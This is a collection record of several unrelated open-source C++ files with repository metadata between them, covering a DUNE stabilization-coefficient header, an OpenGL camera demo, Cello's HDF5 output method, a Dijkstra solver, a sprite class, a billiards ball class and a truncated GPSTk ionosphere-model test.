#ifndef DUNE_OSEEN_STAB_COEFF_HH #define DUNE_OSEEN_STAB_COEFF_HH #include <dune/stuff/common/parameter/configcontainer.hh> #include <map> namespace Dune { class StabilizationCoefficients { public: typedef int PowerType; typedef double FactorType; typedef std::pair<PowerType,FactorType> ValueType; typedef std::map< std::string, ValueType > CoefficientMap; static const PowerType invalid_power; static const FactorType invalid_factor; protected: CoefficientMap map_; public: StabilizationCoefficients( const PowerType pow, const FactorType fac ) { *this = StabilizationCoefficients( pow,pow,pow,pow,fac,fac,fac,fac ); } StabilizationCoefficients( const PowerType C11_pow, const PowerType C12_pow, const PowerType D11_pow, const PowerType D12_pow, const FactorType C11_fac, const FactorType C12_fac, const FactorType D11_fac, const FactorType D12_fac ) { map_["C11"] = ValueType( C11_pow, C11_fac ); map_["C12"] = ValueType( C12_pow, C12_fac ); map_["D11"] = ValueType( D11_pow, D11_fac ); map_["D12"] = ValueType( D12_pow, D12_fac ); } void Add( const std::string& name, FactorType factor, PowerType power = invalid_power ) { if ( map_.find(name) == map_.end() ) map_[name] = ValueType( power, factor ); } void Add( const std::string& name ) { Add( name, DSC_CONFIG_GET( name, FactorType() ), invalid_power ); } FactorType Factor( const std::string& name ) const { return getValue(name).second; } void Factor( const std::string& name, FactorType new_factor ) { getValue(name).second = new_factor; } void FactorFromParams( const std::string& name, const FactorType default_value = FactorType() ) { getValue(name).second = DSC_CONFIG_GET( name, default_value ); } PowerType Power( const std::string& name ) const { return getValue(name).first; } void Power( const std::string& name, PowerType new_power ) { getValue(name).first = new_power; } static StabilizationCoefficients getDefaultStabilizationCoefficients() { return StabilizationCoefficients( -1, invalid_power, 1, invalid_power, 1.0, 0, 1.0, 0 ); } template < class Stream > void print( Stream& stream ) const{ if ( this->Equals( getDefaultStabilizationCoefficients() ) ) stream << "default stabilisation coefficients used " ; else { CoefficientMap::const_iterator it = map_.begin(); for ( ; it != map_.end(); ++it ) { stream << std::endl << (*it).first << " (factor/power): " << (*it).second.second << " / " << (*it).second.first ; } } stream << std::endl; } std::vector<std::string> getCoefficientNames() const { std::vector<std::string> ret; for( CoefficientMap::const_iterator it = map_.begin(); it != map_.end(); ++it ) ret.push_back( it->first ); return ret; } bool Equals( const StabilizationCoefficients& other ) const { if ( map_.size() != other.map_.size() ) return false; return std::equal( map_.begin(), map_.end(), other.map_.begin() ); } private: ValueType& getValue( const std::string name ) { CoefficientMap::iterator it = map_.find( name ); if ( it == map_.end() ) DUNE_THROW( ParameterInvalid, "Stabilization Parameter '" << name << "' missing. (Did you forget to ::Add(name) it?" ); return it->second; } const ValueType& getValue( const std::string name ) const { CoefficientMap::const_iterator it = map_.find( name ); if ( it == map_.end() ) DUNE_THROW( ParameterInvalid, "Stabilization Parameter '" << name << "' missing. (Did you forget to ::Add(name) it?" ); return it->second; } public: //! gives a vector c such that c * normal = signum( v * n ) / 2 template < class FieldVectorType > class C12 : public FieldVectorType { public: C12 ( const FieldVectorType& normal, const StabilizationCoefficients& coeff, const FieldVectorType v = FieldVectorType(1) ) : FieldVectorType( 0.0 ) { const double v_normal = v * normal; if ( v_normal != 0.0 ) { const double a = copysign(1.0, v * normal ) / 2.0; if ( normal[1] != 0 ) { (*this)[0] = 1; (*this)[1] = ( a - normal[0])/normal[1]; } else { (*this)[1] = 1; (*this)[0] = ( a - normal[1])/normal[0]; } } *this *= coeff.Factor("C12"); } }; }; const StabilizationCoefficients::PowerType StabilizationCoefficients::invalid_power = -9; const StabilizationCoefficients::FactorType StabilizationCoefficients::invalid_factor = -9.0; } //namespace #endif // DUNE_OSEEN_STAB_COEFF_HH /** Copyright (c) 2012, Rene Milk * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * The views and conclusions contained in the software and documentation are those * of the authors and should not be interpreted as representing official policies, * either expressed or implied, of the FreeBSD Project. **/
33.328042
123
0.67598
[ "vector" ]
010bb23dad55618e533c538ebcf0c13e8e85a86e
2,801
cpp
C++
Amadeo Delgado Casado 3d avanzado/code/source/main.cpp
AmadeoDelgado/Open-GL-Scene
639b67b1bca38b7a8aaf7975bcc9d66c6055c20b
[ "Apache-2.0" ]
null
null
null
Amadeo Delgado Casado 3d avanzado/code/source/main.cpp
AmadeoDelgado/Open-GL-Scene
639b67b1bca38b7a8aaf7975bcc9d66c6055c20b
[ "Apache-2.0" ]
null
null
null
Amadeo Delgado Casado 3d avanzado/code/source/main.cpp
AmadeoDelgado/Open-GL-Scene
639b67b1bca38b7a8aaf7975bcc9d66c6055c20b
[ "Apache-2.0" ]
null
null
null
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\ * * * Started by Ángel on may of 2014 * * * * This is free software released into the public domain. * * * * angel.rodriguez@esne.edu * * * \* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ #include <cassert> #include "View.hpp" #include <SFML/Window.hpp> #include <SFML/OpenGL.hpp> using namespace sf; using namespace example; int main() { // Se crea la ventana de SFML, que es donde se creará el contexto de OpenGL: Window window(VideoMode(800, 600), "OpenGL Examples: Simple Cube", Style::Default, ContextSettings(32)); // Una vez se ha creado el contexto de OpenGL ya se puede inicializar Glew: GLenum glew_initialization = glewInit(); assert(glew_initialization == GLEW_OK); // Glew se inicializa antes de crear view porque view ya usa extensiones de OpenGL: View view(800, 600); window.setVerticalSyncEnabled(true); bool running = true; do { //camera variables float lastX = 400, lastY = 300, yaw = 0, pitch = 0; bool firstImput=false; Event event; while (window.pollEvent(event)) { switch (event.type) { case Event::Closed: { running = false; break; } case Event::Resized: { Vector2u window_size = window.getSize(); view.resize(window_size.x, window_size.y); break; } case Event::MouseMoved: { } case Event::KeyPressed: { if (event.key.code == sf::Keyboard::S) { view.camera.SetPosition(view.camera.GetPos() - view.camera.GetSpeed() * view.camera.GetFront()); } if (event.key.code == sf::Keyboard::W) { view.camera.SetPosition(view.camera.GetPos() + view.camera.GetSpeed() * view.camera.GetFront()); } if (event.key.code == sf::Keyboard::A) { view.camera.SetPosition(view.camera.GetPos() - glm::normalize((glm::cross(view.camera.GetFront(), view.camera.GetUp()))*view.camera.GetSpeed())); } if (event.key.code == sf::Keyboard::D) { view.camera.SetPosition(view.camera.GetPos() + glm::normalize((glm::cross(view.camera.GetFront(), view.camera.GetUp()))*view.camera.GetSpeed())); } } } } glClear(GL_COLOR_BUFFER_BIT); view.update(); view.render(); window.display(); } while (running); return (EXIT_SUCCESS); }
22.230159
150
0.505177
[ "render" ]
010fb7803a0f6dd2b2de9dea3d11525e6ce18053
18,454
cpp
C++
src/Cello/problem_MethodOutput.cpp
TrevorMcCrary/enzo-e
abeb5d73d6ff210fc6cd675c25430cfb93c374ac
[ "BSD-3-Clause" ]
null
null
null
src/Cello/problem_MethodOutput.cpp
TrevorMcCrary/enzo-e
abeb5d73d6ff210fc6cd675c25430cfb93c374ac
[ "BSD-3-Clause" ]
null
null
null
src/Cello/problem_MethodOutput.cpp
TrevorMcCrary/enzo-e
abeb5d73d6ff210fc6cd675c25430cfb93c374ac
[ "BSD-3-Clause" ]
null
null
null
// See LICENSE_CELLO file for license and copyright information /// @file problem_MethodOutput.cpp /// @author James Bordner (jobordner@ucsd.edu) /// @date 2021-04-27 /// @brief Implementation of the Output "method" #include "problem.hpp" #include "charm_simulation.hpp" #include "test.hpp" //---------------------------------------------------------------------- MethodOutput::MethodOutput (const Factory * factory, std::vector< std::string > file_name, std::vector< std::string > path_name, std::vector< std::string > field_list, std::vector< std::string > particle_list, int ghost_depth, int min_face_rank, bool all_fields, bool all_particles, bool all_blocks, int blocking_x, int blocking_y, int blocking_z) : Method(), file_name_(file_name), path_name_(path_name), field_list_(), particle_list_(), ghost_depth_(ghost_depth), min_face_rank_(min_face_rank), all_fields_(all_fields), all_particles_(all_particles), blocking_(), is_count_(-1), factory_(factory), all_blocks_(all_blocks) { if (field_list.size() > 0) { field_list_.resize(field_list.size()); for (size_t i=0; i<field_list.size(); i++) { const int index_field = cello::field_descr()->field_id(field_list[i]); field_list_[i] = index_field; } } if (particle_list.size() > 0) { particle_list_.resize(particle_list.size()); for (size_t i=0; i<particle_list.size(); i++) { const int index_particle = cello::particle_descr()->type_index(particle_list[i]); particle_list_[i] = index_particle; } } Refresh * refresh = cello::refresh(ir_post_); refresh->set_ghost_depth (ghost_depth); refresh->set_min_face_rank(min_face_rank); // add fields to refresh if (all_fields_) { refresh->add_all_fields(); } else { const int nf=field_list_.size(); for (int i_f=0; i_f<nf; i_f++) { cello::refresh(ir_post_)->add_field(field_list_[i_f]); } } // add particles to refresh if (all_particles_) { refresh->add_all_particles(); } else { const int nf=particle_list_.size(); for (int i_f=0; i_f<nf; i_f++) { cello::refresh(ir_post_)->add_particle(particle_list_[i_f]); } } ASSERT("MethodOutput()", "MethodOutput requires either field_list or particle_list " "to be non-empty", (all_fields || all_particles || field_list.size() > 0 || particle_list.size() > 0)); // initialize blocking partition blocking_[0] = blocking_x; blocking_[1] = blocking_y; blocking_[2] = blocking_z; is_count_ = cello::scalar_descr_int()->new_value("method_output:count"); } //---------------------------------------------------------------------- MethodOutput::~MethodOutput() throw() { } //---------------------------------------------------------------------- void MethodOutput::pup (PUP::er &p) { TRACEPUP; Method::pup(p); p | file_name_; p | path_name_; p | field_list_; p | particle_list_; p | ghost_depth_; p | min_face_rank_; p | all_fields_; p | all_particles_; PUParray(p,blocking_,3); p | is_count_; p | factory_nonconst_; p | all_blocks_; } //---------------------------------------------------------------------- void MethodOutput::compute ( Block * block) throw() { // barrier to ensure tree traversal doesn't reach a block // before the method has started CkCallback callback(CkIndex_Block::r_method_output_continue(nullptr), cello::block_array()); block->contribute(callback); } //---------------------------------------------------------------------- void Block::r_method_output_continue(CkReductionMsg *msg) { delete msg; MethodOutput * method = static_cast<MethodOutput*> (this->method()); method->compute_continue(this); } //---------------------------------------------------------------------- void MethodOutput::compute_continue(Block * block) { // called by Block::r_method_output_continue() // negative level blocks do not participate... if (block->level() < 0) { compute_done(block); return; } // non-writers wait until called later... if (! is_writer_(block->index()) ) { return; } // otherwise this block is a writer, so start writing int a3[3]; block->index().array(a3,a3+1,a3+2); int root_blocks[3]; cello::hierarchy()->root_blocks (root_blocks,root_blocks+1,root_blocks+2); int index_min[3] = {a3[0],a3[1],a3[2]}; int index_max[3] = {std::min(a3[0] + blocking_[0],root_blocks[0]), std::min(a3[1] + blocking_[1],root_blocks[1]), std::min(a3[2] + blocking_[2],root_blocks[2])}; BlockTrace bt (cello::rank(),index_min,index_max); FileHdf5 * file = file_open_(block,a3); // Create output message MsgOutput * msg_output = new MsgOutput(bt,this,file); msg_output->set_index_send (block->index()); // Get its block_trace object BlockTrace * block_trace = msg_output->block_trace(); // write hierarchy meta-data to file file_write_hierarchy_(file); if (all_blocks_ || block->is_leaf()) { // write this (writer) block's data to file msg_output->set_block(block,factory_); file_write_block_(file,block,nullptr); } // Check if any non-writer blocks if ( ! block_trace->next(block->is_leaf())) { Index index_next = block_trace->top(); msg_output->del_block(); // Initiate traversing distributed octree forest to request // blocks to send their data to this writer block to write cello::block_array()[index_next].p_method_output_next(msg_output); } else { // Close file FileHdf5 * file = msg_output->file(); file->file_close(); delete file; // Delete message delete msg_output; msg_output = nullptr; // Exit MethodOutput compute_done(block); } } //---------------------------------------------------------------------- void Block::p_method_output_next (MsgOutput * msg_output) { MethodOutput * method_output = static_cast<MethodOutput*>(cello::problem()->method(index_method_)); method_output -> next(this,msg_output); } //---------------------------------------------------------------------- void Block::p_method_output_write (MsgOutput * msg_output) { MethodOutput * method_output = static_cast<MethodOutput*>(cello::problem()->method(index_method_)); method_output -> write(this,msg_output); } //---------------------------------------------------------------------- void MethodOutput::next(Block * block, MsgOutput * msg_output_in ) // Process the next block in the depth-first distributed octree forest // traversal. Send data to writer if a leaf, or go directly to the // next Block in the traversal if not { // copy incoming message and delete old (cannot reuse!) MsgOutput * msg_output = new MsgOutput (*msg_output_in); delete msg_output_in; msg_output_in = nullptr; const bool is_leaf = block->is_leaf(); BlockTrace * bt = msg_output->block_trace(); bt->next(block->is_leaf()); msg_output->set_index_send (block->index()); if (all_blocks_ || is_leaf) { // if leaf (or writing all blocks), copy data to msg and send to writer Index index_home = bt->home(); DataMsg * data_msg = create_data_msg_(block); msg_output->set_data_msg(data_msg); msg_output->set_block(block,factory_); cello::block_array()[index_home].p_method_output_write(msg_output); } else { // if non-leaf (and not all blocks), forward message to child Index index_next = bt->top(); msg_output->del_block(); cello::block_array()[index_next].p_method_output_next(msg_output); } compute_done(block); } //---------------------------------------------------------------------- void MethodOutput::write(Block * block, MsgOutput * msg_output_in ) // Writes incoming data from the distributed octree forest traversal, // and continues to the next block in the distributed octree forest // traversal (if any) { // Write the block data FileHdf5 * file = msg_output_in->file(); file_write_block_(file,block,msg_output_in); // Copy incoming message MsgOutput * msg_output = new MsgOutput (*msg_output_in); // and delete it (cannot reuse) delete msg_output_in; msg_output_in = nullptr; msg_output->set_index_send (block->index()); BlockTrace * bt = msg_output->block_trace(); Index index_next = bt->top(); Index index_home = bt->home(); if (index_next == index_home) { // done // Close file FileHdf5 * file = msg_output->file(); file->file_close(); compute_done(block); } else { msg_output->del_block(); cello::block_array()[index_next].p_method_output_next(msg_output); } } //---------------------------------------------------------------------- void MethodOutput::compute_done (Block * block) { CkCallback callback(CkIndex_Block::r_method_output_done(nullptr), cello::block_array()); block->contribute(callback); } //---------------------------------------------------------------------- void Block::r_method_output_done(CkReductionMsg *msg) { delete msg; MethodOutput * method = static_cast<MethodOutput*> (this->method()); this->compute_done(); } //====================================================================== int MethodOutput::is_writer_ (Index index) { int a3[3]; index.array(a3,a3+1,a3+2); int level = index.level(); return ((level==0) && ( a3[0] % blocking_[0] == 0) && ( a3[1] % blocking_[1] == 0) && ( a3[2] % blocking_[2] == 0)); } //---------------------------------------------------------------------- FileHdf5 * MethodOutput::file_open_(Block * block, int a3[3]) { // Generate file path ScalarData<int> * scalar_int = block->data()->scalar_data_int(); int * counter = scalar_int->value(cello::scalar_descr_int(),is_count_); std::string path_name = cello::directory(&path_name_,(*counter),block); (*counter)++; // Generate file name int count = file_count_(block); std::string file_name = cello::expand_name(&file_name_,count,block); if (block->index().is_root()) { Monitor::instance()->print ("Output","MethodOutput writing data file %s", (path_name + "/" + file_name).c_str()); } // Create File FileHdf5 * file = new FileHdf5 (path_name, file_name); file->file_create(); return file; } //---------------------------------------------------------------------- void MethodOutput::file_write_hierarchy_(FileHdf5 * file) { IoHierarchy io_hierarchy = (cello::hierarchy()); for (size_t i=0; i<io_hierarchy.meta_count(); i++) { void * buffer; std::string name; int type_scalar; int nx,ny,nz; // Get object's ith metadata io_hierarchy.meta_value(i,& buffer, &name, &type_scalar, &nx,&ny,&nz); // Write object's ith metadata file->file_write_meta(buffer,name.c_str(),type_scalar,nx,ny,nz); } } //---------------------------------------------------------------------- void MethodOutput::file_write_block_ (FileHdf5 * file, Block * block, MsgOutput * msg_output) { const bool is_local = (msg_output == nullptr); std::string block_name = (is_local) ? block->name() : msg_output->block_name(); IoBlock * io_block = (is_local) ? factory_->create_io_block() : msg_output->io_block(); if (is_local) io_block->set_block(block); double block_lower[3]; double block_upper[3]; if (is_local) { block->lower(block_lower,block_lower+1,block_lower+2); block->upper(block_upper,block_upper+1,block_upper+2); } double * lower = (is_local)? block_lower : msg_output->block_lower(); double * upper = (is_local)? block_upper : msg_output->block_upper(); // Create file group for block std::string group_name = "/" + block_name; file->group_chdir(group_name); file->group_create(); // Write block meta data write_meta_ (file, io_block, "group"); // Create new data object to hold MsgOutput/DataMsg fields and particles int nx,ny,nz; int num_field_data = 1; block->data()->field().size(&nx,&ny,&nz); Data * data; bool data_allocated; if (is_local) { data_allocated = false; data = block->data(); } else { data_allocated = true; data = new Data (nx,ny,nz, num_field_data, lower[0],lower[1],lower[2], upper[0],upper[1],upper[2], cello::field_descr(), cello::particle_descr()); // Allocate fields data->allocate(); msg_output->update(data); } // Write Block Field data FieldData * field_data = data->field_data(); for (int i_f=0; i_f<field_list_.size(); i_f++) { const int index_field = field_list_[i_f]; IoFieldData * io_field_data = factory_->create_io_field_data(); void * buffer; std::string name; int type; int mx,my,mz; // Array dimension int nx,ny,nz; // Array size io_field_data->set_field_data((FieldData*)field_data); io_field_data->set_field_index(index_field); io_field_data->field_array (&buffer, &name, &type, &mx,&my,&mz, &nx,&ny,&nz); file->mem_create(nx,ny,nz,nx,ny,nz,0,0,0); if (mz > 1) { file->data_create(name.c_str(),type,mz,my,mx,1,nz,ny,nx,1); } else if (my > 1) { file->data_create(name.c_str(),type,my,mx, 1,1,ny,nx, 1,1); } else { file->data_create(name.c_str(),type,mx, 1, 1,1,nx, 1,1,1); } file->data_write(buffer); file->data_close(); delete io_field_data; } // Write Block Particle data Particle particle = data->particle(); for (int i_p=0; i_p<particle_list_.size(); i_p++) { // Get particle type for it'th element of the particle output list const int it = particle_list_[i_p]; // get the number of particle batches and attributes const int nb = particle.num_batches(it); const int na = particle.num_attributes(it); // For each particle attribute for (int ia=0; ia<na; ia++) { IoParticleData * io_particle_data = factory_->create_io_particle_data(); // For each particle attribute int np = particle.num_particles (it); const std::string name = "particle_" + particle.type_name(it) + "_" + particle.attribute_name(it,ia); const int type = particle.attribute_type(it,ia); // create the disk array file->data_create(name.c_str(),type,np,1,1,1,np,1,1,1); // running count of particles in the type int i0 = 0; // for each batch of particles for (int ib=0; ib<nb; ib++) { // number of particles in batch (it,ib) const int mb = particle.num_particles(it,ib); // create the memory space for the batch file->mem_create(mb,1,1,mb,1,1,0,0,0); // get the buffer of data const void * buffer = (const void *) particle.attribute_array(it,ia,ib); // find the hyper_slab of the disk dataset file->data_slice (np,1,1,1, mb,1,1,1, i0,0,0,0); // update the running count of particles for the type i0 += mb; // write the batch to disk file->data_write(buffer); // close the memory space file->mem_close(); } // check that the number of particles equals the number written ASSERT2 ("OutputData::write_particle_data()", "Particle count mismatch %d particles %d written", np,i0, np == i0); // close the attribute dataset file->data_close(); delete io_particle_data; } } if (data_allocated) delete data; file->group_close(); } //---------------------------------------------------------------------- void MethodOutput::write_meta_ ( FileHdf5 * file, Io * io, std::string type_meta ) { for (size_t i=0; i<io->meta_count(); i++) { void * buffer; std::string name; int type_scalar; int nx,ny,nz; // Get object's ith metadata io->meta_value(i,& buffer, &name, &type_scalar, &nx,&ny,&nz); // Write object's ith metadata if ( type_meta == "group" ) { file->group_write_meta(buffer,name.c_str(),type_scalar,nx,ny,nz); } else if (type_meta == "file") { file->file_write_meta(buffer,name.c_str(),type_scalar,nx,ny,nz); } else { ERROR1 ("MethodOutput::write_meta_()", "Unknown type_meta \"%s\"", type_meta.c_str()); } } } //---------------------------------------------------------------------- int MethodOutput::file_count_(Block * block) { int ax,ay,az; cello::hierarchy()->root_blocks(&ax,&ay,&az); int mx=(ax+blocking_[0]-1)/blocking_[0]; int my=(ay+blocking_[1]-1)/blocking_[1]; int ix,iy,iz; block->index().array(&ix,&iy,&iz); ix /= blocking_[0]; iy /= blocking_[1]; iz /= blocking_[2]; return (ix + mx*(iy + my*iz)); } //---------------------------------------------------------------------- DataMsg * MethodOutput::create_data_msg_ (Block * block) { // set face for entire block data int if3[3] = {0,0,0}; // [set child index even though not accessed] int ic3[3] = {0,0,0}; // include ghost zones (all or nothing) int g3[3] = {0}; if (ghost_depth_ > 0) { cello::field_descr()->ghost_depth(0,g3,g3+1,g3+2); } // Create refresh object required by FieldFace Refresh * refresh = new Refresh; // Initialize refresh fields bool any_fields = true; if (all_fields_) { // all fields refresh->add_all_fields(); } else if (field_list_.size() > 0) { // some fields refresh->set_field_list(field_list_); } else { // no fields any_fields = false; } // Initialize refresh particles bool any_particles = true; if (all_particles_) { // all particle types refresh->add_all_particles(); } else if (particle_list_.size() > 0) { // some particle types refresh->set_particle_list(particle_list_); } else { // no particle types any_particles = false; } // Create FieldFace object specifying fields to send FieldFace * field_face = block->create_face (if3,ic3,g3, refresh_same, refresh, true); int gx=-1,gy=-1,gz=-1; field_face->ghost(&gx,&gy,&gz); // Create data message object to send DataMsg * data_msg = new DataMsg; if (any_fields) { data_msg -> set_field_face (field_face,true); data_msg -> set_field_data (block->data()->field_data(),false); } if (any_particles) { data_msg -> set_particle_data (block->data()->particle_data(),false); } return data_msg; }
27.876133
82
0.602308
[ "object", "vector" ]
011176209630bc5743256e9d61f3046a4accdddb
1,030
cpp
C++
Data Structures/Graph/Dijkstra using STL.cpp
p1yush/code-DS-ALGO
f015f766e75cb61ca908e30bb600bdd6d2fb2e82
[ "MIT" ]
36
2019-12-27T08:23:08.000Z
2022-01-24T20:35:47.000Z
Data Structures/Graph/Dijkstra using STL.cpp
p1yush/code-DS-ALGO
f015f766e75cb61ca908e30bb600bdd6d2fb2e82
[ "MIT" ]
10
2019-11-13T02:55:18.000Z
2021-10-13T23:28:09.000Z
Data Structures/Graph/Dijkstra using STL.cpp
p1yush/code-DS-ALGO
f015f766e75cb61ca908e30bb600bdd6d2fb2e82
[ "MIT" ]
53
2020-08-15T11:08:40.000Z
2021-10-09T15:51:38.000Z
// Author - Yash Deshpande // (yvdyash) #include<bits/stdc++.h> using namespace std; vector<vector<pair<int,int> > > g(100005); //vector<bool> vis(100005); vector<long long> dist(100005,LLONG_MAX); void shortestpath(int src) { set<pair<long long,int> > s; s.insert({0,src}); dist[src]=0; while(!s.empty()) { pair<long long,int> cur_node=*(s.begin()); s.erase(s.begin()); int parent=cur_node.second; for(int i=0;i<g[parent].size();i++) { int child=g[parent][i].first; long long weight=g[parent][i].second; if(dist[child]>dist[parent]+weight) { if(dist[child]!=LLONG_MAX) s.erase(s.find({dist[child],child})); dist[child]=dist[parent]+weight; s.insert({dist[child],child}); } } } } int main() { int tc;cin>>tc; while(tc--){ int n,e,src,dest; cin>>n>>e>>src>>dest; for(int i=0;i<=n;i++){ g[i].clear(); dist[i]=LLONG_MAX; } while(e--) { int a,b,c; cin>>a>>b>>c; g[a].push_back({b,c}); g[b].push_back({a,c}); } shortestpath(src); } }
17.758621
44
0.584466
[ "vector" ]
011e38fc88bb94e272701be49fc954a4861330f9
1,502
cpp
C++
Code/BBearEditor/Engine/2D/BBSprite2D.cpp
xiaoxianrouzhiyou/BBearEditor
0f1b779d87c297661f9a1e66d0613df43f5fe46b
[ "MIT" ]
26
2021-06-30T02:19:30.000Z
2021-07-23T08:38:46.000Z
Code/BBearEditor/Engine/2D/BBSprite2D.cpp
lishangdian/BBearEditor-2.0
1f4b463ef756ed36cc15d10abae822efc400c4d7
[ "MIT" ]
null
null
null
Code/BBearEditor/Engine/2D/BBSprite2D.cpp
lishangdian/BBearEditor-2.0
1f4b463ef756ed36cc15d10abae822efc400c4d7
[ "MIT" ]
3
2021-09-01T08:19:30.000Z
2021-12-28T19:06:40.000Z
#include "BBSprite2D.h" #include "Geometry/BBBoundingBox.h" #include "Render/BufferObject/BBVertexBufferObject.h" #include "Render/Texture/BBTexture.h" #include "Render/BBMaterial.h" #include "Render/BBRenderPass.h" #include "Render/BBDrawCall.h" #include "Render/BBCamera.h" BBSprite2D::BBSprite2D(int x, int y, int nWidth, int nHeight) : BBRenderableObject2D(x, y, nWidth, nHeight) { } BBSprite2D::~BBSprite2D() { } void BBSprite2D::init() { m_pVBO = new BBVertexBufferObject(4); m_pVBO->setPosition(0, 1.0f, 1.0f, 0); m_pVBO->setPosition(1, -1.0f, 1.0f, 0); m_pVBO->setPosition(2, -1.0f, -1.0f, 0); m_pVBO->setPosition(3, 1.0f, -1.0f, 0); m_pVBO->setTexcoord(0, 1.0f, 1.0f); m_pVBO->setTexcoord(1, 0.0f, 1.0f); m_pVBO->setTexcoord(2, 0.0f, 0.0f); m_pVBO->setTexcoord(3, 1.0f, 0.0f); for (int i = 0; i < m_pVBO->getVertexCount(); i++) { m_pVBO->setColor(i, 1.0f, 1.0f, 1.0f); } BBRenderableObject2D::init(); m_pCurrentMaterial->getBaseRenderPass()->setUseStencil(true); m_pCurrentMaterial->setVector4(LOCATION_TEXTURE_SETTING0, 1.0f, 0.0f, 0.0f, 0.0f); BBTexture texture; QString texturePath = BB_PATH_RESOURCE_ICON(empty2.png); m_pCurrentMaterial->setSampler2D(LOCATION_TEXTURE(0), texture.createTexture2D(texturePath), texturePath); BBDrawCall *pDrawCall = new BBDrawCall; pDrawCall->setMaterial(m_pCurrentMaterial); pDrawCall->setVBO(m_pVBO, GL_QUADS, 0, 4); appendDrawCall(pDrawCall); }
29.45098
109
0.691744
[ "geometry", "render" ]
0122f14f4c9b012800ace080ebe0072cfdb53254
1,083
cpp
C++
Blliards/src/GameObject/Ball.cpp
winpass0601/Training
481eaf4697f971fe8aa01ae33ac70a928852b7e1
[ "MIT" ]
null
null
null
Blliards/src/GameObject/Ball.cpp
winpass0601/Training
481eaf4697f971fe8aa01ae33ac70a928852b7e1
[ "MIT" ]
null
null
null
Blliards/src/GameObject/Ball.cpp
winpass0601/Training
481eaf4697f971fe8aa01ae33ac70a928852b7e1
[ "MIT" ]
null
null
null
#include <./GameObject/Ball.h> #include <./Core/FileSystem/IO.h> #include <./GPL/GPL.h> #include <./GUI.h> using namespace rinfw::core; using namespace rinfw::graphics; void Ball::Create(std::wstring _filepath) { filesystem::IO<Model>().Import(_filepath, model); transform.setScale(0.8f, 0.8f, 0.8f); transform.translate(0, 1.0f, 0); sphere.center = transform.getPosition(); transform.registChangedCallBack([=]() {this->getSphere().center = this->getTransform().getPosition(); }); rigidbody.registUpdateEndCallBack(std::bind(std::mem_fn(&rinfw::component::Transform::UpdatePosition),&transform)); isFall = false; } void Ball::AddForce(math::Float3 _vec) { rigidbody.AddForce(_vec); } bool Ball::Init() { return true; } bool Ball::Update() { if (isFall) { this->rigidbody.setVelocity(math::Float3(0, -1.0f, 0)); } this->rigidbody.Update(this->transform); return true; } bool Ball::Draw() { GPLModel& gplm = GPLModel::getInstance(); gplm.Draw(*((rinfw::core::PmxModel*)model.get()),transform.getMatrix()); return true; } bool Ball::Release() { return true; }
22.102041
116
0.699908
[ "model", "transform" ]
01262abdd9932c505babc37130f712024b1a22d2
12,058
cpp
C++
3rdparty/GPSTk/core/tests/GNSSCore/IonoModel_T.cpp
mfkiwl/ICE
e660d031bb1bcea664db1de4946fd8781be5b627
[ "MIT" ]
50
2019-10-12T01:22:20.000Z
2022-02-15T23:28:26.000Z
3rdparty/GPSTk/core/tests/GNSSCore/IonoModel_T.cpp
wuyou33/Enabling-Robust-State-Estimation-through-Measurement-Error-Covariance-Adaptation
2f1ff054b7c5059da80bb3b2f80c05861a02cc36
[ "MIT" ]
null
null
null
3rdparty/GPSTk/core/tests/GNSSCore/IonoModel_T.cpp
wuyou33/Enabling-Robust-State-Estimation-through-Measurement-Error-Covariance-Adaptation
2f1ff054b7c5059da80bb3b2f80c05861a02cc36
[ "MIT" ]
14
2019-11-05T01:50:29.000Z
2021-08-06T06:23:44.000Z
//============================================================================ // // This file is part of GPSTk, the GPS Toolkit. // // The GPSTk is free software; you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published // by the Free Software Foundation; either version 3.0 of the License, or // any later version. // // The GPSTk is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public // License along with GPSTk; if not, write to the Free Software Foundation, // Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110, USA // // Copyright 2004, The University of Texas at Austin // //============================================================================ //============================================================================ // //This software developed by Applied Research Laboratories at the University of //Texas at Austin, under contract to an agency or agencies within the U.S. //Department of Defense. The U.S. Government retains all rights to use, //duplicate, distribute, disclose, or release this software. // //Pursuant to DoD Directive 523024 // // DISTRIBUTION STATEMENT A: This software has been approved for public // release, distribution is unlimited. // //============================================================================= #include "TestUtil.hpp" #include "IonoModel.hpp" using namespace gpstk; using namespace std; class IonoModel_T { public: IonoModel_T(){} ~IonoModel_T(){} int equalityTest( void ); int nonEqualityTest( void ); int validTest( void ); int exceptionTest( void ); protected: private: }; // void IonoModel_T::setUp( void ) // { // } //------------------------------------------------------------ // Assert quality of class IonoModel operator == //------------------------------------------------------------ int IonoModel_T :: equalityTest( void ) { TestUtil test1( "IonoModel", "operator ==", __FILE__, __LINE__ ); std::string test_desc = "IonoModel objects are created and compared to test operator == precision"; std::string test_fail_equals = "These should be equal but they are not."; std::string test_false_equals = "These should NOT be equal but they are."; //Create many alpha and beta arrays which define the Ionospheric model double a[4] = 